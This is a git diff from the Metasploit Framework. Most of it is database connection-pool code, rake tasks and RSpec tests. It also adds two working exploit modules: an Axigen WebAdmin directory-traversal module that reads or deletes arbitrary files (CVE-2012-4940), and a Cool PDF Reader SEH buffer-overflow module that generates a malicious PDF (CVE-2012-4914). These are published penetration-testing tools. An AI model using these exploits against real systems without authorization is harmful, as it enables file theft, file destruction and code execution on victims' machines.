# already been reached, but the pool is empty (i.e. they're all being used),
|
||||
# then this method will wait until a thread has checked in a connection.
|
||||
# The wait time is bounded however: if no connection can be checked out
|
||||
# within the timeout specified for this pool, then a ConnectionTimeoutError
|
||||
# exception will be raised.
|
||||
#
|
||||
# Returns: an AbstractAdapter object.
|
||||
#
|
||||
# Raises:
|
||||
# - ConnectionTimeoutError: no connection can be obtained from the pool
|
||||
# within the timeout period.
|
||||
def checkout
|
||||
# Checkout an available connection
|
||||
checkout_time = Time.now.to_i
|
||||
loop do
|
||||
synchronize do
|
||||
conn = @connections.find { |c| c.lease }
|
||||
|
||||
unless conn
|
||||
if @connections.size < @size
|
||||
conn = checkout_new_connection
|
||||
conn.lease
|
||||
end
|
||||
end
|
||||
|
||||
if conn
|
||||
checkout_and_verify conn
|
||||
return conn
|
||||
end
|
||||
|
||||
# Wait up to five seconds at a time for a yield
|
||||
@queue.wait(5)
|
||||
|
||||
if(active_connections.size < @connections.size)
|
||||
next
|
||||
else
|
||||
clear_stale_cached_connections!
|
||||
if @size == active_connections.size and (Time.now.to_i - @timeout) > checkout_time
|
||||
raise ConnectionTimeoutError, "could not obtain a database connection#{" within #{@timeout} seconds" if @timeout}. The max pool size is currently #{@size}; consider increasing it or the wait_timeout parameter"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,81 @@
|
|||
load 'active_record/railties/databases.rake'
|
||||
|
||||
require 'metasploit/framework'
|
||||
|
||||
# A modification to remove dependency on Rails.env
|
||||
#
|
||||
# @see https://github.com/rails/rails/blob/ddce29bfa12462fde2342a0c2bd0eefd420c0eab/activerecord/lib/active_record/railties/databases.rake#L550
|
||||
def configs_for_environment
|
||||
environments = [Metasploit::Framework.env]
|
||||
|
||||
if Metasploit::Framework.env.development?
|
||||
environments << 'test'
|
||||
end
|
||||
|
||||
environment_configurations = ActiveRecord::Base.configurations.values_at(*environments)
|
||||
present_environment_configurations = environment_configurations.compact
|
||||
valid_environment_configurations = present_environment_configurations.reject { |config|
|
||||
config['database'].blank?
|
||||
}
|
||||
|
||||
valid_environment_configurations
|
||||
end
|
||||
|
||||
# This would normally use Rails.application.config.database_configuration
|
||||
def database_configurations
|
||||
YAML.load_file(database_configurations_pathname)
|
||||
end
|
||||
|
||||
def database_configurations_pathname
|
||||
Metasploit::Framework.root.join('config', 'database.yml')
|
||||
end
|
||||
|
||||
# emulate initializer "active_record.initialize_database" from active_record/railtie
|
||||
ActiveSupport.on_load(:active_record) do
|
||||
self.configurations = database_configurations
|
||||
puts "Connecting to database specified by #{database_configurations_pathname}"
|
||||
|
||||
spec = configurations[Metasploit::Framework.env]
|
||||
establish_connection(spec)
|
||||
end
|
||||
|
||||
#
|
||||
# Remove tasks that aren't supported
|
||||
#
|
||||
|
||||
Rake::TaskManager.class_eval do
|
||||
def remove_task(task_name)
|
||||
@tasks.delete(task_name.to_s)
|
||||
end
|
||||
end
|
||||
|
||||
Rake.application.remove_task('db:fixtures:load')
|
||||
|
||||
# completely replace db:load_config and db:seed as they will attempt to use
|
||||
# Rails.application, which does not exist
|
||||
Rake::Task['db:load_config'].clear
|
||||
Rake::Task['db:seed'].clear
|
||||
|
||||
db_namespace = namespace :db do
|
||||
task :load_config do
|
||||
ActiveRecord::Base.configurations = database_configurations
|
||||
|
||||
ActiveRecord::Migrator.migrations_paths = [
|
||||
# rails isn't in Gemfile, so can't use the more appropriate
|
||||
# Metasploit::Engine.instance.paths['db/migrate'].to_a since using
|
||||
# Metasploit::Engine requires rails.
|
||||
MetasploitDataModels.root.join('db', 'migrate').to_s
|
||||
]
|
||||
end
|
||||
|
||||
desc 'Load the seed data from db/seeds.rb'
|
||||
task :seed do
|
||||
db_namespace['abort_if_pending_migrations'].invoke
|
||||
seeds_pathname = Metasploit::Framework.root.join('db', 'seeds.rb')
|
||||
|
||||
if seeds_pathname.exist?
|
||||
load(seeds_pathname)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,21 @@
|
|||
# Rake tasks added for compatibility with rake tasks that depend on a Rails
|
||||
# environment, such as those in activerecord
|
||||
|
||||
# Would normally load config/environment.rb of the rails application.
|
||||
#
|
||||
# @see https://github.com/rails/rails/blob/e2908356672d4459ada0064f773efd820efda822/railties/lib/rails/application.rb#L190
|
||||
task :environment do
|
||||
# ensures that Mdm models are available for migrations which use the models
|
||||
MetasploitDataModels.require_models
|
||||
|
||||
# avoids the need for Rails.root in db:schema:dump
|
||||
schema_pathname = Metasploit::Framework.root.join('db', 'schema.rb')
|
||||
ENV['SCHEMA'] = schema_pathname.to_s
|
||||
end
|
||||
|
||||
# This would normally default RAILS_ENV to development if ENV['RAILS_ENV'] is
|
||||
# not set
|
||||
#
|
||||
# @see https://github.com/rails/rails/blob/1a275730b290c1f06d4e8df680d22ae1b41ab585/railties/lib/rails/tasks/misc.rake#L3
|
||||
task :rails_env do
|
||||
end
|
|
@ -0,0 +1,183 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Axigen Arbitrary File Read and Delete',
|
||||
'Description' => %q{
|
||||
This module exploits a directory traversal vulnerability in the WebAdmin
|
||||
interface of Axigen, which allows an authenticated user to read and delete
|
||||
arbitrary files with SYSTEM privileges. The vulnerability is known to work on
|
||||
Windows platforms. This module has been tested successfully on Axigen 8.10 over
|
||||
Windows 2003 SP2.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Zhao Liang', # Vulnerability discovery
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'US-CERT-VU', '586556' ],
|
||||
[ 'CVE', '2012-4940' ],
|
||||
[ 'OSVDB', '86802' ]
|
||||
],
|
||||
'Actions' =>
|
||||
[
|
||||
['Read', { 'Description' => 'Read remote file' }],
|
||||
['Delete', { 'Description' => 'Delete remote file' }]
|
||||
],
|
||||
'DefaultAction' => 'Read',
|
||||
'DisclosureDate' => 'Oct 31 2012'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(9000),
|
||||
OptInt.new('DEPTH', [ true, 'Traversal depth if absolute is set to false', 4 ]),
|
||||
OptString.new('TARGETURI',[ true, 'Path to Axigen WebAdmin', '/' ]),
|
||||
OptString.new('USERNAME', [ true, 'The user to authenticate as', 'admin' ]),
|
||||
OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]),
|
||||
OptString.new('PATH', [ true, 'The file to read or delete', "\\boot.ini" ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
@peer = "#{rhost}:#{rport}"
|
||||
|
||||
print_status("#{@peer} - Trying to login")
|
||||
if login
|
||||
print_good("#{@peer} - Login successful")
|
||||
else
|
||||
print_error("#{@peer} - Login failed, review USERNAME and PASSWORD options")
|
||||
return
|
||||
end
|
||||
|
||||
@traversal = "../" * 10
|
||||
file = datastore['PATH']
|
||||
@platform = get_platform
|
||||
|
||||
if @platform == 'windows'
|
||||
@traversal.gsub!(/\//, "\\")
|
||||
file.gsub!(/\//, "\\")
|
||||
else # unix
|
||||
print_error("#{@peer} - *nix platform detected, vulnerability is only known to work on Windows")
|
||||
return
|
||||
end
|
||||
|
||||
case action.name
|
||||
when 'Read'
|
||||
read_file(datastore['PATH'])
|
||||
when 'Delete'
|
||||
delete_file(datastore['PATH'])
|
||||
end
|
||||
end
|
||||
|
||||
def read_file(file)
|
||||
|
||||
print_status("#{@peer} - Retrieving file contents...")
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path, "sources", "logging", "page_log_file_content.hsp"),
|
||||
'method' => 'GET',
|
||||
'cookie' => "_hadmin=#{@session}",
|
||||
'vars_get' => {
|
||||
'_h' => @token,
|
||||
'fileName' => "#{@traversal}#{file}"
|
||||
}
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.headers['Content-Type'] and res.body.length > 0
|
||||
store_path = store_loot("axigen.webadmin.data", "application/octet-stream", rhost, res.body, file)
|
||||
print_good("#{@peer} - File successfully retrieved and saved on #{store_path}")
|
||||
else
|
||||
print_error("#{@peer} - Failed to retrieve file")
|
||||
end
|
||||
end
|
||||
|
||||
def delete_file(file)
|
||||
print_status("#{@peer} - Deleting file #{file}")
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'GET',
|
||||
'cookie' => "_hadmin=#{@session}",
|
||||
'vars_get' => {
|
||||
'_h' => @token,
|
||||
'page' => 'vlf',
|
||||
'action' => 'delete',
|
||||
'fileName' => "#{@traversal}#{file}"
|
||||
}
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body =~ /View Log Files/
|
||||
print_good("#{@peer} - File #{file} deleted")
|
||||
else
|
||||
print_error("#{@peer} - Error deleting file #{file}")
|
||||
end
|
||||
end
|
||||
|
||||
def get_platform
|
||||
print_status("#{@peer} - Retrieving platform")
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'GET',
|
||||
'cookie' => "_hadmin=#{@session}",
|
||||
'vars_get' => {
|
||||
'_h' => @token
|
||||
}
|
||||
})
|
||||
|
||||
if res and res.code == 200
|
||||
if res.body =~ /Windows/
|
||||
print_good("#{@peer} - Windows platform found")
|
||||
return 'windows'
|
||||
elsif res.body =~ /Linux/
|
||||
print_good("#{@peer} - Linux platform found")
|
||||
return 'unix'
|
||||
end
|
||||
end
|
||||
|
||||
print_warning("#{@peer} - Platform not found, assuming UNIX flavor")
|
||||
return 'unix'
|
||||
end
|
||||
|
||||
def login
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD'],
|
||||
'submit' => 'Login',
|
||||
'action' => 'login'
|
||||
}
|
||||
})
|
||||
|
||||
if res and res.code == 303 and res.headers['Location'] =~ /_h=([a-f0-9]*)/
|
||||
@token = $1
|
||||
if res.headers['Set-Cookie'] =~ /_hadmin=([a-f0-9]*)/
|
||||
@session = $1
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,127 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::PDF
|
||||
include Msf::Exploit::Remote::Seh
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Cool PDF Image Stream Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack buffer overflow in Cool PDF Reader prior to version
|
||||
3.0.2.256. The vulnerability is triggered when opening a malformed PDF file that
|
||||
contains a specially crafted image stream. This module has been tested successfully
|
||||
on Cool PDF 3.0.2.256 over Windows XP SP3 and Windows 7 SP1.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Francis Provencher', # Vulnerability discovery
|
||||
'Chris Gabriel', # Proof of concept
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2012-4914' ],
|
||||
[ 'OSVDB', '89349' ],
|
||||
[ 'EDB', '24463' ],
|
||||
[ 'URL', 'http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=70&Itemid=70' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2000,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Cool PDF 3.0.2.256 / Windows 7 SP1 / Windows XP SP3',
|
||||
{
|
||||
'Offset' => 433,
|
||||
'Ret' => 0x00539fa4 # ppr from coolpdf.exe
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'Jan 18 2013',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [ false, 'The output filename.', 'msf.pdf'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
file_create(make_pdf)
|
||||
end
|
||||
|
||||
def jpeg
|
||||
p = payload.encoded
|
||||
sploit = "\xFF\xD8\xFF\xEE\x00\x0E\x41\x64" + "\x6F\x62\x65\x00\x64\x80\x00\x00"
|
||||
sploit << "\x00\x02\xFF\xDB\x00\x84\x00\x02" + "\x02\x02\x02\x02\x02\x02\x02\x02"
|
||||
sploit << "\x02\x03\x02\x02\x02\x03\x04\x03" + "\x03\x03\x03\x04\x05\x04\x04\x04"
|
||||
sploit << "\x04\x04\x05\x05\x05\x05\x05\x05" + "\x05\x05\x05\x05\x07\x08\x08\x08"
|
||||
sploit << "\x07\x05\x09\x0A\x0A\x0A\x0A\x09" + "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
|
||||
sploit << "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x01" + "\x03\x02\x02\x03\x03\x03\x07\x05"
|
||||
sploit << "\x05\x07\x0D\x0A\x09\x0A\x0D\x0F" + "\x0D\x0D\x0D\x0D\x0F\x0F\x0C\x0C"
|
||||
sploit << "\x0C\x0C\x0C\x0F\x0F\x0C\x0C\x0C" + "\x0C\x0C\x0C\x0F\x0C\x0E\x0E\x0E"
|
||||
sploit << "\x0E\x0E\x0C\x11\x11\x11\x11\x11" + "\x11\x11\x11\x11\x11\x11\x11\x11"
|
||||
sploit << "\x11\x11\x11\x11\x11\x11\x11\x11" + "\xFF\xC0\x00\x14\x08\x00\x32\x00"
|
||||
sploit << "\xE6\x04\x01\x11\x00\x02\x11\x01" + "\x03\x11\x01\x04\x11\x00\xFF\xC4"
|
||||
sploit << "\x01\xA2\x00\x00\x00\x07\x01\x01" + "\x01\x01\x01\x00\x00\x00\x00\x00"
|
||||
sploit << "\x00\x00\x00\x04\x05\x03\x02\x06" + "\x01\x00\x07\x08\x09\x0A\x0B\x01"
|
||||
sploit << "\x54\x02\x02\x03\x01\x01\x01\x01" + "\x01\x00\x00\x00\x00\x00\x00\x00"
|
||||
sploit << "\x01\x00\x02\x03\x04\x05\x06\x07"
|
||||
sploit << rand_text(target['Offset'])
|
||||
sploit << generate_seh_record(target.ret)
|
||||
sploit << p
|
||||
sploit << rand_text(2388 - p.length)
|
||||
return sploit
|
||||
end
|
||||
|
||||
# Override the mixin obfuscator since it doesn't seem to work here.
|
||||
def nObfu(str)
|
||||
return str
|
||||
end
|
||||
|
||||
def make_pdf
|
||||
@pdf << header
|
||||
add_object(1, nObfu("<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>"))
|
||||
add_object(2, nObfu("<</Type/Outlines>>"))
|
||||
add_object(3, nObfu("<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>"))
|
||||
add_object(4, nObfu("[/PDF/Text/ImageC]"))
|
||||
add_object(5, nObfu("<</Type/Page/Parent 3 0 R/Contents 6 0 R>>"))
|
||||
stream_1 = "stream" << eol
|
||||
stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q" << eol
|
||||
stream_1 << "endstream" << eol
|
||||
add_object(6, nObfu("<</Length 91>>#{stream_1}"))
|
||||
stream = "<<" << eol
|
||||
stream << "/Width 230" << eol
|
||||
stream << "/BitsPerComponent 8" << eol
|
||||
stream << "/Name /X" << eol
|
||||
stream << "/Height 50" << eol
|
||||
stream << "/Intent /RelativeColorimetric" << eol
|
||||
stream << "/Subtype /Image" << eol
|
||||
stream << "/Filter /DCTDecode" << eol
|
||||
stream << "/Length #{jpeg.length}" << eol
|
||||
stream << "/ColorSpace /DeviceCMYK" << eol
|
||||
stream << "/Type /XObject" << eol
|
||||
stream << ">>"
|
||||
stream << "stream" << eol
|
||||
stream << jpeg << eol
|
||||
stream << "endstream" << eol
|
||||
add_object(7, stream)
|
||||
finish_pdf
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,208 @@
|
|||
require 'spec_helper'
|
||||
|
||||
# helps with environment configuration to use for connection to database
|
||||
require 'metasploit/framework'
|
||||
|
||||
# load Mdm::Host for testing
|
||||
MetasploitDataModels.require_models
|
||||
|
||||
describe ActiveRecord::ConnectionAdapters::ConnectionPool do
|
||||
def database_configurations
|
||||
YAML.load_file(database_configurations_pathname)
|
||||
end
|
||||
|
||||
def database_configurations_pathname
|
||||
Metasploit::Framework.root.join('config', 'database.yml')
|
||||
end
|
||||
|
||||
subject(:connection_pool) do
|
||||
ActiveRecord::Base.connection_pool
|
||||
end
|
||||
|
||||
# Not all specs require a database connection, and railties aren't being
|
||||
# used, so have to manually establish connection.
|
||||
before(:each) do
|
||||
ActiveRecord::Base.configurations = database_configurations
|
||||
spec = ActiveRecord::Base.configurations[Metasploit::Framework.env]
|
||||
ActiveRecord::Base.establish_connection(spec)
|
||||
end
|
||||
|
||||
after(:each) do
|
||||
ActiveRecord::Base.clear_all_connections!
|
||||
end
|
||||
|
||||
context '#active_connection?' do
|
||||
subject(:active_connection?) do
|
||||
connection_pool.active_connection?
|
||||
end
|
||||
|
||||
# Let! so that Thread is captured before creating and entering new Threads
|
||||
let!(:main_thread) do
|
||||
Thread.current
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
ActiveRecord::Base.connection_pool.connection
|
||||
end
|
||||
|
||||
context 'in thread with connection' do
|
||||
it { should be_true }
|
||||
end
|
||||
|
||||
context 'in thread without connection' do
|
||||
it 'should be false' do
|
||||
thread = Thread.new do
|
||||
Thread.current.should_not == main_thread
|
||||
expect(active_connection?).to be_false
|
||||
end
|
||||
|
||||
thread.join
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context '#with_connection' do
|
||||
def reserved_connection_count
|
||||
connection_pool.instance_variable_get(:@reserved_connections).length
|
||||
end
|
||||
|
||||
let(:connection_id) do
|
||||
main_thread.object_id
|
||||
end
|
||||
|
||||
it 'should call #current_connection_id' do
|
||||
connection_pool.should_receive(
|
||||
:current_connection_id
|
||||
).at_least(
|
||||
:once
|
||||
).and_call_original
|
||||
|
||||
connection_pool.with_connection { }
|
||||
end
|
||||
|
||||
it 'should yield #connection' do
|
||||
connection = mock('Connection')
|
||||
connection_pool.stub(:connection => connection)
|
||||
|
||||
expect { |block|
|
||||
connection_pool.with_connection(&block)
|
||||
}.to yield_with_args(connection)
|
||||
end
|
||||
|
||||
context 'with active thread connection' do
|
||||
let!(:connection) do
|
||||
connection_pool.connection
|
||||
end
|
||||
|
||||
after(:each) do
|
||||
connection_pool.checkin connection
|
||||
end
|
||||
|
||||
it 'should return true from #active_connection?' do
|
||||
expect(connection_pool.active_connection?).to be_true
|
||||
end
|
||||
|
||||
context 'with error' do
|
||||
it 'should not release connection' do
|
||||
expect {
|
||||
# capture error so it doesn't stop example
|
||||
expect {
|
||||
connection_pool.with_connection do
|
||||
# raise error to trigger with_connection's ensure
|
||||
raise ArgumentError, 'bad arguments'
|
||||
end
|
||||
}.to raise_error(ArgumentError)
|
||||
}.to change {
|
||||
reserved_connection_count
|
||||
}.by(0)
|
||||
end
|
||||
end
|
||||
|
||||
context 'without error' do
|
||||
it 'should not release connection' do
|
||||
expect {
|
||||
connection_pool.with_connection { }
|
||||
}.to change{
|
||||
reserved_connection_count
|
||||
}.by(0)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'without active thread connection' do
|
||||
it 'should return false from #active_connection?' do
|
||||
expect(connection_pool.active_connection?).to be_false
|
||||
end
|
||||
|
||||
context 'with error' do
|
||||
it 'should not leave connection created for block' do
|
||||
expect {
|
||||
# capture error so it doesn't stop example
|
||||
expect {
|
||||
connection_pool.with_connection do
|
||||
# raise error to trigger with_connection's ensure
|
||||
raise ArgumentError, 'bad arguments'
|
||||
end
|
||||
}.to raise_error(ArgumentError)
|
||||
}.to change {
|
||||
reserved_connection_count
|
||||
}.by(0)
|
||||
end
|
||||
end
|
||||
|
||||
context 'without error' do
|
||||
it 'should not leave connection created for block' do
|
||||
expect {
|
||||
connection_pool.with_connection { }
|
||||
}.to change{
|
||||
reserved_connection_count
|
||||
}.by(0)
|
||||
end
|
||||
end
|
||||
|
||||
context 'with nested' do
|
||||
it 'should not reserve another connection in the nested block' do
|
||||
before_count = reserved_connection_count
|
||||
|
||||
connection_pool.with_connection do
|
||||
child_count = reserved_connection_count
|
||||
count_change = child_count - before_count
|
||||
|
||||
count_change.should == 1
|
||||
|
||||
connection_pool.with_connection do
|
||||
grandchild_count = reserved_connection_count
|
||||
|
||||
grandchild_count.should == child_count
|
||||
end
|
||||
end
|
||||
|
||||
after_count = reserved_connection_count
|
||||
|
||||
after_count.should == before_count
|
||||
end
|
||||
end
|
||||
|
||||
context 'without with_connection first' do
|
||||
it 'should use connection reserved outside with_connection' do
|
||||
# Using query methods without a block is expected to retain the
|
||||
# reserved connection
|
||||
expect {
|
||||
# access database outside with_connection block
|
||||
Mdm::Host.count
|
||||
}.to change {
|
||||
reserved_connection_count
|
||||
}.by(1)
|
||||
|
||||
outside = reserved_connection_count
|
||||
|
||||
connection_pool.with_connection do
|
||||
inside = reserved_connection_count
|
||||
|
||||
inside.should == outside
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,6 +1,6 @@
|
|||
require 'rubygems'
|
||||
require 'bundler'
|
||||
Bundler.setup(:default, :test)
|
||||
Bundler.require(:default, :test)
|
||||
|
||||
# add project lib directory to load path
|
||||
spec_pathname = Pathname.new(__FILE__).dirname
|
||||
|
@ -12,6 +12,7 @@ $LOAD_PATH.unshift(lib_pathname.to_s)
|
|||
# code. It is after the rubygems and bundler only because Bundler.setup supplies the LOAD_PATH to simplecov.
|
||||
require 'simplecov'
|
||||
|
||||
# now that simplecov is loaded, load everything else
|
||||
require 'rspec/core'
|
||||
|
||||
# Requires supporting ruby files with custom matchers and macros, etc,
|
||||
|
|
Loading…
Reference in New Issue